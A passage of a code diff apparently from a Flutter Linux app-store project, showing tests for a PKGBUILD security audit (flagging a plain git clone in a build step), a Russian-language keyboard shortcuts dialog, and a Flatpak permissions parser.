const warningPkgbuild = '''
|
||||||
|
pkgname=git-puller
|
||||||
|
pkgver=1.0.0
|
||||||
|
build() {
|
||||||
|
git clone https://github.com/example/repo.git
|
||||||
|
}
|
||||||
|
''';
|
||||||
|
|
||||||
|
final result = AurPkgbuildService.audit(warningPkgbuild);
|
||||||
|
expect(result.overallSeverity, SecuritySeverity.warning);
|
||||||
|
expect(result.hasWarnings, isTrue);
|
||||||
|
expect(result.issues.any((i) => i.ruleName == 'network_in_build'), isTrue);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
import 'package:flutter/material.dart';
|
||||||
|
import 'package:flutter_test/flutter_test.dart';
|
||||||
|
import 'package:macos_ui/macos_ui.dart';
|
||||||
|
import 'package:forge/src/ui/widgets/keyboard_shortcuts_dialog.dart';
|
||||||
|
|
||||||
|
void main() {
|
||||||
|
testWidgets('KeyboardShortcutsDialog renders all shortcuts', (tester) async {
|
||||||
|
await tester.pumpWidget(
|
||||||
|
const MacosApp(
|
||||||
|
home: Scaffold(
|
||||||
|
body: KeyboardShortcutsDialog(),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(find.text('Горячие клавиши Forge'), findsOneWidget);
|
||||||
|
expect(find.text('Быстрый поиск приложений (Spotlight)'), findsOneWidget);
|
||||||
|
expect(find.text('Понятно'), findsOneWidget);
|
||||||
|
});
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
import 'package:flutter_test/flutter_test.dart';
|
||||||
|
import 'package:forge/src/services/flatpak_permissions_service.dart';
|
||||||
|
|
||||||
|
void main() {
|
||||||
|
group('FlatpakPermissionsService Parser Tests', () {
|
||||||
|
test('parses basic permissions from manifest correctly', () {
|
||||||
|
const manifest = '''
|
||||||
|
[Application]
|
||||||
|
name=org.example.App
|
||||||
|
|
||||||
|
[Context]
|
||||||
|
shared=ipc;network;
|
||||||
|
sockets=pulseaudio;x11;
|
||||||
|
devices=dri;
|
||||||
|
filesystems=host;
|
||||||
|
''';
|
||||||
|
const overrides = '';
|
||||||
|
|
||||||
|
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
|
||||||
|
expect(perms.network, isTrue);
|
||||||
|
expect(perms.socketPulseaudio, isTrue);
|
||||||
|
expect(perms.socketX11, isTrue);
|
||||||
|
expect(perms.deviceDri, isTrue);
|
||||||
|
expect(perms.filesystemHost, isTrue);
|
||||||
|
expect(perms.filesystemHome, isTrue); // host implies home
|
||||||
|
expect(perms.hasOverrides, isFalse);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('respects user overrides (disabling network and x11)', () {
|
||||||
|
const manifest = '''
|
||||||
|
[Context]
|
||||||
|
shared=ipc;network;
|
||||||
|
sockets=pulseaudio;x11;wayland;
|
||||||
|
''';
|
||||||
|
const overrides = '''
|
||||||
|
[Context]
|
||||||
|
shared=!network;
|
||||||
|
sockets=!x11;
|
||||||
|
''';
|
||||||
|
|
||||||
|
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
|
||||||
|
expect(perms.network, isFalse);
|
||||||
|
expect(perms.socketX11, isFalse);
|
||||||
|
expect(perms.socketWayland, isTrue);
|
||||||
|
expect(perms.socketPulseaudio, isTrue);
|
||||||
|
expect(perms.hasOverrides, isTrue);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user